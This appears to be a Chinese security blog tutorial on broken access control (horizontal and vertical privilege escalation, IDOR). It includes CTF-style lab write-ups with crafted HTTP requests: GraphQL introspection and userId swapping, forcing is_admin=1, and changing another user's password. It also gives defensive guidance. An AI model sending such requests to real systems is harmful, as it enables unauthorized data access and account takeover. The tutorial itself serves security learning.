2026-07-29
top10漏洞常见基础讲解
00
请注意,本文编写于 108 天前,最后修改于 108 天前,其中某些信息可能已经过时。

目录

一、越权漏洞是什么?
二、越权漏洞的原理
2.1 为什么会出现越权?
2.2 一个经典场景
三、越权漏洞的分类
3.1 水平越权(Horizontal Privilege Escalation)
3.2 垂直越权(Vertical Privilege Escalation)
3.3 IDOR(不安全的直接对象引用)
四、越权漏洞的常见利用方式
4.1 参数篡改(最常用)
4.2 Cookie/Session 替换
4.3 隐藏 URL 猜测
4.4 多阶段功能绕过
4.5 静态文件越权
五、越权漏洞的危害
六、靶场练习
一、案例一:GraphQL 里的"查户口"越权
1.1 看到了什么代码?
1.2 GraphQL 是什么?为什么只有一个接口?
1.3 内省查询:摸清服务器底细
1.4 构造越权请求
1.5 漏洞本质
二、案例二:被"禁用"的管理员开关
2.1 看到了什么代码?
2.2 正常提交 vs 手动构造
2.3 漏洞本质
三、案例三 & 四:REST API 里的组合拳
3.1 代码审计
3.2 第一拳:水平越权查数据
3.3 第二拳:垂直越权改密码
3.4 登录目标账号拿 flag
3.5 漏洞本质
五、越权漏洞的分类(对应四个案例)
七、越权漏洞的防御
7.1 核心原则:服务端强制校验
7.2 具体防御措施
八、实战检测思路
8.1 手动测试流程
九、总结

越权是什么,原理,如何利用,分类


一、越权漏洞是什么?

越权漏洞(Over Permission / Broken Access Control),官方名称叫 "失效的访问控制",是 OWASP Top 10 中常年居高不下的漏洞类型。

用大白话讲:你明明只有普通用户的权限,却能做管理员才能做的事;或者你能看到其他普通用户的数据。 就像你拿着自己家的门禁卡,不仅能刷开邻居家的门,还能刷开物业办公室的门。

越权漏洞的本质是:后台没有对当前用户的操作权限做严格校验,导致用户可以操作超出自己权限范围的功能或数据。


二、越权漏洞的原理

2.1 为什么会出现越权?

Web 应用通常有两种权限控制方式:

控制方式说明问题
前端控制页面上"隐藏"了管理员按钮,普通用户看不到只是"藏起来"了,接口还在,直接访问 URL 就能绕过
后端控制每次操作前检查用户是否有权限如果校验逻辑有缺陷,就会出问题

核心问题:后端在接收到请求时,只验证了"你是谁"(身份认证),但没验证"你能做什么"(权限校验)。

2.2 一个经典场景

假设有个查看个人信息的接口:

GET /userinfo?username=lucy

后端代码可能是这样的:

php
// 只检查是否登录,没检查是不是本人 if (is_login()) { $username = $_GET['username']; // 直接从URL取 show_user_info($username); // 直接查数据库返回 }

攻击者把 username=lucy 改成 username=lili,就能直接看到 lili 的信息——这就是越权。


三、越权漏洞的分类

越权漏洞主要分为两大类:

3.1 水平越权(Horizontal Privilege Escalation)

定义:同级别用户之间的越权访问。

比喻:同一个小区里的住户,A 用户能打开 B 用户家的门。

典型场景:

  • 用户 A 通过修改 URL 参数,查看用户 B 的订单信息
  • 用户 A 通过修改用户 ID,查看用户 B 的个人资料
  • 用户 A 通过修改订单号,查看用户 B 的快递信息

利用方式:

  • 修改 URL 中的 id、user_id、order_id 等参数
  • 修改 POST 数据中的用户标识
  • 遍历 ID 号(如 id=1、id=2、id=3...)

3.2 垂直越权(Vertical Privilege Escalation)

定义:低权限用户获取高权限用户的操作能力。

比喻:小区保安拿到了物业经理的万能门禁卡。

典型场景:

  • 普通用户通过直接访问管理员后台 URL,进入管理页面
  • 普通用户抓包获取管理员操作的数据包,替换 Cookie 后重放,成功执行管理员操作
  • 普通用户通过修改角色标识(如 role=user 改为 role=admin),提升权限

利用方式:

  • 直接猜测/访问管理员功能的 URL(如 /admin/、/manage/)
  • 抓包替换 Cookie/Session,用普通用户身份发送管理员的请求
  • 修改请求中的角色、权限等级参数

3.3 IDOR(不安全的直接对象引用)

IDOR(Insecure Direct Object Reference)是越权漏洞的一种具体表现形式。

核心特征:系统直接使用用户可控的参数(如数字 ID)去访问数据库中的对象,而没有校验该对象是否属于当前用户。

例子:

GET /api/orders/10086 ← 正常查看自己的订单 GET /api/orders/10087 ← 改成别人的订单号,直接看到别人的订单

四、越权漏洞的常见利用方式

4.1 参数篡改(最常用)

直接修改 URL 或 POST 参数中的用户标识。

水平越权示例:

http
GET /userinfo?username=lucy HTTP/1.1 Host: target.com Cookie: session=abc123 → 把 username=lucy 改成 username=lili

垂直越权示例:

http
POST /admin/add_user HTTP/1.1 Host: target.com Cookie: session=普通用户的session ← 替换为普通用户的Cookie username=hacker&password=123456&role=admin

4.2 Cookie/Session 替换

先登录管理员账号,抓包获取管理操作的数据包,然后退出登录,换普通用户登录获取 Cookie,在重放器里把管理员数据包的 Cookie 换成普通用户的,发送请求。

如果后端只校验 Cookie 是否有效,没校验该 Cookie 对应的用户是否有权限执行此操作,就会成功。

4.3 隐藏 URL 猜测

有些系统只在菜单上隐藏了管理员入口,但接口还在。直接猜测:

/admin/ /manage/ /system/ /api/admin/ /console/

4.4 多阶段功能绕过

有些功能分多步完成,比如修改密码:

  1. 第一步:验证身份(验证码/旧密码)
  2. 第二步:输入新密码

如果第二步没有再次校验身份,攻击者可以直接抓包重放第二步的请求,修改任意用户密码。

4.5 静态文件越权

系统生成的静态文件(如 PDF 账单、Excel 报表)通过可猜测的 URL 访问:

/download/bill/20260729/10086.pdf /download/bill/20260729/10087.pdf ← 改数字就能下载别人的

五、越权漏洞的危害

危害类型具体表现
信息泄露获取其他用户的个人信息、订单记录、聊天记录等
数据篡改修改他人账户信息、订单状态、余额等
非法操作删除数据、创建管理员账号、批量操作用户
权限提升普通用户变成管理员,完全控制系统

六、靶场练习

一、案例一:GraphQL 里的"查户口"越权

1.1 看到了什么代码?

题目给了一段前端 JS,核心是一个 GraphQL 请求:

javascript
fetch('/graphql', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ query: ` mutation { addPrescription(userId: ${userID}, prescriptionDetails: "${prescriptionDetails}") { prescription { id userId prescriptionDetails flag } } } `, }), })

第一眼看到的问题:userId: ${userID} 这个参数是从哪来的?如果它是前端直接传进去的,后端有没有校验"这个 userId 是不是当前登录的人"?

而且返回值里居然有个 flag 字段。

1.2 GraphQL 是什么?为什么只有一个接口?

提示

GraphQL 是一种用于 API 查询 的语言和服务器端运行时,旨在让客户端能够准确获取所需的数据,而没有任何冗余。它由 Facebook 于 2012 年开发,并于 2015 年开源。与传统的 REST API 不同,GraphQL 允许客户端通过单个请求获取多个数据源的精确数据,从而提高了开发效率和灵活性。

核心概念

GraphQL 的核心在于其 模式(Schema) 和 查询语言。模式定义了 API 的数据结构,包括对象类型、字段及其关系。客户端通过查询语言指定所需的数据字段,服务端根据模式验证并返回精确匹配的数据。

以下是一个简单的查询示例: query { user(id: "1") { name email } }

返回结果: { "data": { "user": { "name": "张三", "email": "zhangsan@example.com" } } }

传统的 REST API 是一个功能一个接口,比如 /getUser、/addOrder、/deleteItem 各管各的。但 GraphQL 不一样,它只有一个入口(通常是 /graphql),你要查什么、改什么,全部写在一个"查询字符串"里发给这个接口。

GraphQL 还有个特性叫内省(Introspection),相当于数据库里的 information_schema,可以让你查询这个服务器有哪些接口、需要什么参数、返回什么字段。

1.3 内省查询:摸清服务器底细

提示

内省是什么

GraphQL内省是一个特殊查询,其支持的内省查询有两个__schema、__type。内省查询的作用是提供详细接口信息,简单的来说就是可以通过内省查询来获取GraphQL的接口文档,如对象定义、接口参数等信息。

既然代码里只看到了 addPrescription(添加处方),但我想要的是查数据,所以先用内省看看有没有查询接口:

18be7d2113ec6fd09caeb90609c1a970.png

http
POST /graphql HTTP/1.1 Host: ulab.bdziyi.cn:20851 Content-Type: application/json Cookie: session=你的Cookie {"query":"{ __schema { queryType { name fields { name type { name } } } mutationType { name fields { name args { name type { name } } } } } }"}

{ "query": "{ __schema { queryType { name fields { name type { name } } } mutationType { ... } } }" }

部分含义
__schemaGraphQL 内置的"查户口"接口
queryType查"查询类"接口(像 SELECT,只读操作)
mutationType查"修改类"接口(像 INSERT/UPDATE,会改数据)
fields { name }查每个接口叫什么名字
args { name type { name } }查每个接口需要什么参数

服务器返回:

json
{ "data": { "__schema": { "queryType": { "fields": [{"name": "getPrescriptions"}] }, "mutationType": { "fields": [{"name": "addPrescription", "args": [{"name": "userId"}, {"name": "prescriptionDetails"}]}] } } } }

关键发现:原来有个 getPrescriptions 接口可以查处方列表!而且参数里有 userId。

1.4 构造越权请求

我登录的是普通账号,但后端没有校验"你只能查自己的数据"。于是直接用普通用户的 Cookie,把 userId 改成 1(通常 ID=1 是管理员):

1994b3b137b6e813ab0f72b5b243e4cb.png

http
POST /graphql HTTP/1.1 Host: ulab.bdziyi.cn:20851 Content-Type: application/json Cookie: session=... {"query":"query { getPrescriptions(userId: 1) { id userId prescriptionDetails flag } }"}

服务器返回了 90 条管理员的处方记录,其中第 43 条:

json
{"id":43,"userId":1,"prescriptionDetails":"Prescription 43 for Admin","flag":"flag{248e88ba-cf5e-451a-9ef3-284815c4eb67}"}

1.5 漏洞本质

后端在收到请求时,只验证了"你有没有登录"(看 Cookie 是否有效),但没验证"你有没有资格看 userId=1 的数据"。你传什么 ID,它就查什么 ID 的数据。


二、案例二:被"禁用"的管理员开关

2.1 看到了什么代码?

题目给了一个编辑个人资料的表单:

html
<form method="post" action="/edit_profile/1"> <input type="text" name="name" value="demo" required> <select name="is_admin" disabled> <option value="0" selected>Regular</option> <option value="1">Admin</option> </select> <button type="submit">Update Profile</button> </form>

第一眼看到的问题:is_admin 这个字段控制用户是不是管理员,但它在页面上是 disabled(灰色,点不了)。问题是——前端不让点,后端会拒绝吗?

2.2 正常提交 vs 手动构造

正常点提交按钮时,浏览器不会把 disabled 字段加到请求里。抓包看到的只是:

name=demo

但我在 Burp 里手动构造请求,强行加上 is_admin=1:

http
POST /edit_profile/1 HTTP/1.1 Host: ulab.bdziyi.cn:20852 Content-Type: application/x-www-form-urlencoded Cookie: session=... name=demo&is_admin=1

b24fff209e7fef3505c382c822d680e3.png 服务器返回 Profile updated successfully,页面上 is_admin 已经变成了 Admin。

2.3 漏洞本质

disabled 只是浏览器层面的"视觉限制",不是安全机制。后端不应该从客户端接收 is_admin 这种敏感字段,即使收到了也应该直接忽略,或者校验"当前用户有没有权限改这个字段"。


三、案例三 & 四:REST API 里的组合拳

3.1 代码审计

题目给了一段 JS,里面调用了两个接口:

javascript
// 接口一:查收藏餐厅 $.ajax({ url: 'api/get_favorite_restaurants.php?userId=13', type: 'GET' }); // 接口二:改密码 $.ajax({ url: 'api/change_password.php', type: 'POST', data: { oldPassword: $('#oldPassword').val(), newPassword: $('#newPassword').val(), confirmPassword: $('#confirmPassword').val(), userId: 13 } });

第一眼看到的问题:两个接口都把 userId 写死在前端代码里(userId=13)。这意味着后端很可能也是从请求参数里取 userId,而不是从 Session 里取当前用户 ID。

3.2 第一拳:水平越权查数据

把 userId=13 改成 userId=1:

2d14d64943a3ffae4ce8aa0621c7dfa5.png

http
GET /api/get_favorite_restaurants.php?userId=1 HTTP/1.1 Host: ulab.bdziyi.cn:20854 Cookie: session=...

返回:

json
{"success":true,"data":{"username":"not_that_easy","restaurants":["Pizza Place","Sushi World",...]}}

成功查到了用户 not_that_easy 的数据,但遍历了多个 userId 都没有 flag。说明 flag 不在查询接口里。

3.3 第二拳:垂直越权改密码

改密码接口的逻辑更隐蔽。我尝试:

http
POST /api/change_password.php ... oldPassword=admin&newPassword=2&confirmPassword=2&userId=1

返回 Old password is incorrect.——说明后端确实在校验旧密码。

关键思考:它校验的是谁的旧密码?

如果后端逻辑是:

  1. 从 Session 知道你是 demo(userId=13)
  2. 校验 oldPassword 是不是 demo 的密码
  3. 校验通过后,用你传的 userId=1 去改数据库

那我用 demo 自己的密码(假设是 2),就能通过校验,然后改掉 userId=1 的密码!

尝试:

http
POST /api/change_password.php ... oldPassword=2&newPassword=3&confirmPassword=3&userId=1

857ba7c5197487de8a28366f88d255cf.png 成功!

3.4 登录目标账号拿 flag

现在用户 not_that_easy 的密码已经被我改成了 3。直接登录:

http
POST /login HTTP/1.1 Host: ulab.bdziyi.cn:20854 username=not_that_easy&password=3

登录后刷新页面,flag 直接显示在个人资料

3.5 漏洞本质

这个案例最精彩的地方在于后端逻辑的"张冠李戴":

步骤校验对象操作对象
校验旧密码当前登录用户(demo,userId=13)—
修改密码—你传的 userId=1(not_that_easy)

后端"验人"和"办事"用的不是同一张身份证。它验证了 A 的密码,却去改了 B 的密码。

所有越权漏洞的核心就一句话:后端只验证了"你是谁",没验证"你能干什么"。


五、越权漏洞的分类(对应四个案例)

类型案例一句话解释
水平越权案例一、案例三同级别用户之间互相偷看数据(你查别人的处方、别人的餐厅收藏)
垂直越权案例二、案例四低权限用户获得高权限(普通用户变管理员、普通用户改管理员密码)
IDOR案例一、案例三不安全的直接对象引用,直接改 ID 就能访问别人的资源
参数篡改案例二、案例四强行提交本不该由用户控制的参数(is_admin、userId)


七、越权漏洞的防御

7.1 核心原则:服务端强制校验

永远不要相信前端! 前端隐藏按钮、JS 控制显示都是不靠谱的,必须在服务端接口层面做权限校验。

7.2 具体防御措施

1. 基于 Session/Token 的身份绑定

php
// 正确做法:从 Session 中获取当前用户,而不是从 URL 参数 $current_user = $_SESSION['username']; // 从 Session 取 $user_id = get_user_id_by_username($current_user); $data = query_user_info($user_id); // 查自己的数据

2. 每次操作前校验权限

php
// 访问敏感资源前,校验当前用户是否有权操作 if (!has_permission($current_user, 'resource_id')) { die("无权访问"); }

3. 使用间接引用映射(IDOR 防御)

不要直接用数据库自增 ID 暴露给用户,改用随机字符串:

# 不安全 GET /order/10086 # 安全 GET /order/a1b2c3d4e5f6

4. 最小权限原则

用户只被授予完成工作所需的最低权限,不要为了方便给"多一点"权限。

5. 敏感操作二次验证

修改密码、转账、删除账号等操作,需要再次验证身份(如输入原密码、短信验证码)。

6. 日志审计

记录所有敏感操作的日志,便于事后追溯。


八、实战检测思路

8.1 手动测试流程

  1. 注册两个同权限账号(A 和 B)→ 测水平越权
  2. 注册一个低权限账号 → 测垂直越权
  3. 遍历参数:把 id=1 改成 id=2、id=3...
  4. 替换 Cookie:A 的操作数据包换 B 的 Cookie 重放
  5. 猜测管理 URL:尝试访问 /admin/、/manage/ 等路径

九、总结

概念一句话解释
越权漏洞该干的事没干,不该看的东西看了
水平越权同级别的用户互相偷看数据
垂直越权普通用户升级成管理员
IDOR直接改 ID 就能访问别人的资源
根本原因后端没做权限校验,或校验太简单
防御核心服务端强制校验,不信任任何前端输入